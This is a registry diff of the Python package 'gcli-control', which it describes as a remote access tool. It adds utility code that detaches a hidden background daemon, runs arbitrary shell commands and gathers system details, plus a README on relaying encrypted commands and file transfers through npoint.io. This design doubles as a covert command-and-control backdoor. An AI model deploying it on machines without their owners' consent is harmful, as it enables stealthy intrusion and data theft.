gcli-control 0.1.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
gcli/utils.py ADDED
@@ -0,0 +1,240 @@
1
+ """
2
+ Utility functions for gcli.
3
+ - PID file management
4
+ - Process detachment (Windows + Linux)
5
+ - Shell command execution
6
+ - System information gathering
7
+ """
8
+ import os
9
+ import sys
10
+ import uuid
11
+ import platform
12
+ import subprocess
13
+ import socket
14
+ import logging
15
+ from typing import Optional
16
+ from pathlib import Path
17
+
18
+ LOG_DIR = Path.home() / ".gcli"
19
+ PID_FILE = LOG_DIR / "host.pid"
20
+ LOG_FILE = LOG_DIR / "host.log"
21
+
22
+ logger = logging.getLogger("gcli.utils")
23
+
24
+
25
+ # ---------------------------------------------------------------------------
26
+ # Directories
27
+ # ---------------------------------------------------------------------------
28
+
29
+ def ensure_dirs() -> None:
30
+ """Create ~/.gcli/ if it doesn't exist."""
31
+ LOG_DIR.mkdir(parents=True, exist_ok=True)
32
+
33
+
34
+ # ---------------------------------------------------------------------------
35
+ # PID file helpers
36
+ # ---------------------------------------------------------------------------
37
+
38
+ def write_pid(pid: int = None) -> None:
39
+ """Write current (or given) PID to the PID file."""
40
+ ensure_dirs()
41
+ pid = pid or os.getpid()
42
+ PID_FILE.write_text(str(pid), encoding="utf-8")
43
+
44
+
45
+ def read_pid() -> Optional[int]:
46
+ """Read the PID from file. Returns None if no valid PID found."""
47
+ try:
48
+ return int(PID_FILE.read_text(encoding="utf-8").strip())
49
+ except (FileNotFoundError, ValueError):
50
+ return None
51
+
52
+
53
+ def remove_pid() -> None:
54
+ """Remove the PID file."""
55
+ try:
56
+ PID_FILE.unlink(missing_ok=True)
57
+ except OSError:
58
+ pass
59
+
60
+
61
+ def is_running(pid: int) -> bool:
62
+ """Check if a process with the given PID is alive."""
63
+ if sys.platform == "win32":
64
+ try:
65
+ # Windows: use tasklist
66
+ result = subprocess.run(
67
+ ["tasklist", "/FI", f"PID eq {pid}", "/NH"],
68
+ capture_output=True, text=True, timeout=5,
69
+ )
70
+ return str(pid) in result.stdout
71
+ except Exception:
72
+ return False
73
+ else:
74
+ # POSIX
75
+ try:
76
+ os.kill(pid, 0)
77
+ return True
78
+ except OSError:
79
+ return False
80
+
81
+
82
+ def kill_pid(pid: int) -> bool:
83
+ """Try to kill a process by PID."""
84
+ try:
85
+ if sys.platform == "win32":
86
+ subprocess.run(
87
+ ["taskkill", "/F", "/PID", str(pid)],
88
+ capture_output=True, timeout=5,
89
+ )
90
+ else:
91
+ os.kill(pid, 15) # SIGTERM
92
+ return True
93
+ except Exception:
94
+ return False
95
+
96
+
97
+ # ---------------------------------------------------------------------------
98
+ # Process detachment
99
+ # ---------------------------------------------------------------------------
100
+
101
+ def detach() -> None:
102
+ """
103
+ Detach the current process so it runs in the background.
104
+ Windows: spawn a new process with CREATE_NO_WINDOW, then exit parent.
105
+ Linux/macOS: double-fork and setsid.
106
+ """
107
+ if sys.platform == "win32":
108
+ _detach_windows()
109
+ else:
110
+ _detach_posix()
111
+
112
+
113
+ def _detach_windows() -> None:
114
+ """Windows: re-launch ourselves hidden."""
115
+ # If already the child, don't detach again
116
+ if os.environ.get("GCLI_DAEMON") == "1":
117
+ return
118
+ # Spawn hidden subprocess
119
+ creation_flags = subprocess.CREATE_NO_WINDOW if hasattr(subprocess, "CREATE_NO_WINDOW") else 0x08000000
120
+ cmdline = [sys.executable] + sys.argv
121
+ subprocess.Popen(
122
+ cmdline,
123
+ creationflags=creation_flags,
124
+ close_fds=True,
125
+ env={**os.environ, "GCLI_DAEMON": "1"},
126
+ )
127
+ sys.exit(0)
128
+
129
+
130
+ def _detach_posix() -> None:
131
+ """Linux / macOS: double-fork to daemonise."""
132
+ if os.environ.get("GCLI_DAEMON") == "1":
133
+ return
134
+ # First fork
135
+ pid = os.fork()
136
+ if pid > 0:
137
+ # Parent exits
138
+ sys.exit(0)
139
+ # New session
140
+ os.setsid()
141
+ # Second fork to fully detach
142
+ pid = os.fork()
143
+ if pid > 0:
144
+ sys.exit(0)
145
+ # Redirect stdio to /dev/null
146
+ sys.stdin = open(os.devnull, "r")
147
+ sys.stdout = open(os.devnull, "w")
148
+ sys.stderr = open(os.devnull, "w")
149
+ os.environ["GCLI_DAEMON"] = "1"
150
+
151
+
152
+ # ---------------------------------------------------------------------------
153
+ # Shell command execution
154
+ # ---------------------------------------------------------------------------
155
+
156
+ def run_command(cmd: str, timeout: int = 30) -> dict:
157
+ """
158
+ Execute a shell command and return {"ok": bool, "stdout": str, "stderr": str, "rc": int}.
159
+ """
160
+ try:
161
+ if sys.platform == "win32":
162
+ result = subprocess.run(
163
+ cmd,
164
+ shell=True,
165
+ capture_output=True,
166
+ text=True,
167
+ timeout=timeout,
168
+ env={**os.environ, "PYTHONIOENCODING": "utf-8"},
169
+ )
170
+ else:
171
+ result = subprocess.run(
172
+ cmd,
173
+ shell=True,
174
+ capture_output=True,
175
+ text=True,
176
+ timeout=timeout,
177
+ )
178
+ return {
179
+ "ok": result.returncode == 0,
180
+ "stdout": result.stdout,
181
+ "stderr": result.stderr,
182
+ "rc": result.returncode,
183
+ }
184
+ except subprocess.TimeoutExpired:
185
+ return {
186
+ "ok": False,
187
+ "stdout": "",
188
+ "stderr": f"Command timed out after {timeout}s",
189
+ "rc": -1,
190
+ }
191
+ except Exception as e:
192
+ return {
193
+ "ok": False,
194
+ "stdout": "",
195
+ "stderr": str(e),
196
+ "rc": -1,
197
+ }
198
+
199
+
200
+ # ---------------------------------------------------------------------------
201
+ # System information
202
+ # ---------------------------------------------------------------------------
203
+
204
+ def get_system_info() -> dict:
205
+ """Gather basic system information."""
206
+ hostname = socket.gethostname()
207
+ try:
208
+ local_ip = socket.gethostbyname(hostname)
209
+ except Exception:
210
+ local_ip = "unknown"
211
+
212
+ return {
213
+ "hostname": hostname,
214
+ "os": platform.system(),
215
+ "os_release": platform.release(),
216
+ "os_version": platform.version(),
217
+ "machine": platform.machine(),
218
+ "processor": platform.processor() or "unknown",
219
+ "python": platform.python_version(),
220
+ "user": os.getenv("USERNAME") or os.getenv("USER") or "unknown",
221
+ "local_ip": local_ip,
222
+ "cwd": os.getcwd(),
223
+ }
224
+
225
+
226
+ # ---------------------------------------------------------------------------
227
+ # Logging setup
228
+ # ---------------------------------------------------------------------------
229
+
230
+ def setup_logging(to_file: bool = False) -> None:
231
+ """Configure basic logging for gcli."""
232
+ ensure_dirs()
233
+ handlers = [logging.StreamHandler()]
234
+ if to_file:
235
+ handlers.append(logging.FileHandler(str(LOG_FILE), encoding="utf-8"))
236
+ logging.basicConfig(
237
+ level=logging.INFO,
238
+ format="%(asctime)s [%(levelname)s] %(name)s: %(message)s",
239
+ handlers=handlers,
240
+ )
@@ -0,0 +1,143 @@
1
+ Metadata-Version: 2.4
2
+ Name: gcli-control
3
+ Version: 0.1.0
4
+ Summary: Remote access tool via npoint.io - encrypted command relay using AES-256-GCM
5
+ Author: gcli contributors
6
+ License-Expression: MIT
7
+ Project-URL: Homepage, https://github.com/gcli-control/gcli
8
+ Project-URL: Repository, https://github.com/gcli-control/gcli
9
+ Project-URL: Issues, https://github.com/gcli-control/gcli/issues
10
+ Keywords: remote-access,npoint,encrypted,ssh,aes256
11
+ Classifier: Development Status :: 4 - Beta
12
+ Classifier: Intended Audience :: Developers
13
+ Classifier: Intended Audience :: System Administrators
14
+ Classifier: Operating System :: Microsoft :: Windows
15
+ Classifier: Operating System :: POSIX :: Linux
16
+ Classifier: Operating System :: MacOS
17
+ Classifier: Programming Language :: Python :: 3
18
+ Classifier: Programming Language :: Python :: 3.8
19
+ Classifier: Programming Language :: Python :: 3.9
20
+ Classifier: Programming Language :: Python :: 3.10
21
+ Classifier: Programming Language :: Python :: 3.11
22
+ Classifier: Programming Language :: Python :: 3.12
23
+ Classifier: Programming Language :: Python :: 3.13
24
+ Classifier: Topic :: System :: Systems Administration
25
+ Classifier: Topic :: Security :: Cryptography
26
+ Requires-Python: >=3.8
27
+ Description-Content-Type: text/markdown
28
+ Requires-Dist: cryptography>=41.0
29
+
30
+ # gcli
31
+
32
+ Remote access tool via [npoint.io](https://npoint.io) — encrypted command relay using AES-256-GCM.
33
+
34
+ ## How It Works
35
+
36
+ ```
37
+ ┌──────────┐ commands ┌─────────────┐ commands ┌──────────┐
38
+ │ gcli ssh │ ───────────────> │ npoint.io │ ───────────────> │gcli host │
39
+ │ (client) │ <─────────────── │ (JSON bin) │ <─────────────── │ (daemon) │
40
+ └──────────┘ results └─────────────┘ results └──────────┘
41
+ ```
42
+
43
+ 1. **`gcli host`** starts a background daemon that polls npoint.io for encrypted commands
44
+ 2. **`gcli ssh`** connects interactively, sends encrypted commands, and polls for results
45
+ 3. All payloads are encrypted with **AES-256-GCM** — the password never leaves your machine
46
+
47
+ ## Quick Start
48
+
49
+ ### Install
50
+
51
+ ```bash
52
+ pip install cryptography
53
+ ```
54
+
55
+ ### Host (on the remote machine)
56
+
57
+ ```bash
58
+ # Start the daemon (runs in background)
59
+ python -m gcli host --password MySecret123
60
+
61
+ # Or run in foreground for debugging
62
+ python -m gcli host --password MySecret123 --foreground
63
+ ```
64
+
65
+ ### Client (on your local machine)
66
+
67
+ ```bash
68
+ # Connect to the host
69
+ python -m gcli ssh --password MySecret123
70
+ ```
71
+
72
+ ### Stop the host
73
+
74
+ ```bash
75
+ python -m gcli stop
76
+ ```
77
+
78
+ ## SSH Commands
79
+
80
+ Once connected, you have a full interactive REPL:
81
+
82
+ | Command | Description |
83
+ |---------|-------------|
84
+ | Any text | Execute shell command on remote host |
85
+ | `:help` | Show available commands |
86
+ | `:info` | Show remote system info (hostname, OS, user, IP) |
87
+ | `:ping` | Ping remote host and show latency |
88
+ | `:upload <local> <remote>` | Upload a file to the remote host |
89
+ | `:download <remote> <local>` | Download a file from the remote host |
90
+ | `:timeout <seconds>` | Set exec command timeout |
91
+ | `:history` | Show recent command history |
92
+ | `:exit` | Disconnect and close session |
93
+
94
+ ## Security
95
+
96
+ - **AES-256-GCM** encryption with PBKDF2 key derivation (600K iterations)
97
+ - Password is never transmitted — only encrypted payloads flow through npoint.io
98
+ - Each message gets a unique random nonce (prevents identical plaintext detection)
99
+ - Built-in tamper detection (GCM authentication tag)
100
+
101
+ ## Cross-Platform
102
+
103
+ | Platform | Background Detach | Process Management |
104
+ |----------|-------------------|-------------------|
105
+ | Windows | `CREATE_NO_WINDOW` subprocess | `tasklist` / `taskkill` |
106
+ | Linux | Double-fork + `setsid` | `kill` / `os.kill` |
107
+ | macOS | Double-fork + `setsid` | `kill` / `os.kill` |
108
+
109
+ ## Configuration
110
+
111
+ ```bash
112
+ # Custom npoint bin (both host and client must use the same bin)
113
+ python -m gcli host --password MySecret --bin YOUR_NPOINT_BIN_ID
114
+ python -m gcli ssh --password MySecret --bin YOUR_NPOINT_BIN_ID
115
+
116
+ # Adjust polling speed (default: 2s host, 1s client)
117
+ python -m gcli host --password MySecret --poll-interval 1.0
118
+ ```
119
+
120
+ ## Architecture
121
+
122
+ ```
123
+ gcli/
124
+ ├── __main__.py # CLI entry point (argparse)
125
+ ├── __init__.py
126
+ ├── crypto.py # AES-256-GCM encrypt/decrypt (PBKDF2 key derivation)
127
+ ├── npoint.py # npoint.io API wrapper with retry logic
128
+ ├── protocol.py # Document structure, read/write, race-condition safe appends
129
+ ├── host.py # Daemon: poll → decrypt → execute → encrypt → respond
130
+ ├── client.py # SSH REPL: send → poll → display (tab completion)
131
+ ├── utils.py # PID management, process detach, command execution
132
+ └── colors.py # Cross-platform terminal colours (Win/Linux/macOS)
133
+ ```
134
+
135
+ ## Requirements
136
+
137
+ - Python 3.8+
138
+ - `cryptography` package
139
+ - Internet connection (for npoint.io)
140
+
141
+ ## License
142
+
143
+ MIT
@@ -0,0 +1,14 @@
1
+ gcli/__init__.py,sha256=tgvItDyNwpbCvs8bfPan9we5y83hzGvzJ_cAx9eYqTY,161
2
+ gcli/__main__.py,sha256=eZPVy0JME7kCOBuUEdoRS0py4M_nliTRcskCvjDiTEA,3104
3
+ gcli/client.py,sha256=5TExcZxWnNWX4h9-_uKS2rqUJsKrkUbYDDQ3mO2PiFQ,13976
4
+ gcli/colors.py,sha256=Kn-LmD8Z-PieBSkxRAAjJY6oowVC2-vZijd957vrz4U,2437
5
+ gcli/crypto.py,sha256=OL0Mavd5wWJ-2DfE_RZ2qyEm-wM5vlquWqkeKKC92CY,1587
6
+ gcli/host.py,sha256=ZDUkNEh1RCtlpmrqAmeq03ll8jIuDR8EMSKRLaVA97Y,7619
7
+ gcli/npoint.py,sha256=_uhynB9Hu0TR6zpubkg1sAlXeLB5izbN98PgotR8rhg,2030
8
+ gcli/protocol.py,sha256=3EGZ4CVF_1Xftfb_G8d_27IfHZtwFtnJE1iDSgxSIJo,7750
9
+ gcli/utils.py,sha256=pSj-2am_pM3RWiy4r7AukWcO4jfvg_RRUbtcvpfExB0,6845
10
+ gcli_control-0.1.0.dist-info/METADATA,sha256=LoCh3FmXBex9JAY6ao8K494njBpz7fuKxp1syjQv-MY,5226
11
+ gcli_control-0.1.0.dist-info/WHEEL,sha256=K260EYznzXsJYBQGqmI8VTxEdiZYNvDZwW9cBh9-_MA,91
12
+ gcli_control-0.1.0.dist-info/entry_points.txt,sha256=Ppy5SYo81Lj-IFAvKuWxqGl1TVDiux_LG9x-WQhauAQ,44
13
+ gcli_control-0.1.0.dist-info/top_level.txt,sha256=fishdOu9SHAsovrk0eneLwCKmmyqgl3Z3WERvE7Os1M,5
14
+ gcli_control-0.1.0.dist-info/RECORD,,
@@ -0,0 +1,5 @@
1
+ Wheel-Version: 1.0
2
+ Generator: setuptools (83.0.0)
3
+ Root-Is-Purelib: true
4
+ Tag: py3-none-any
5
+
@@ -0,0 +1,2 @@
1
+ [console_scripts]
2
+ gcli = gcli.__main__:main
@@ -0,0 +1 @@
1
+ gcli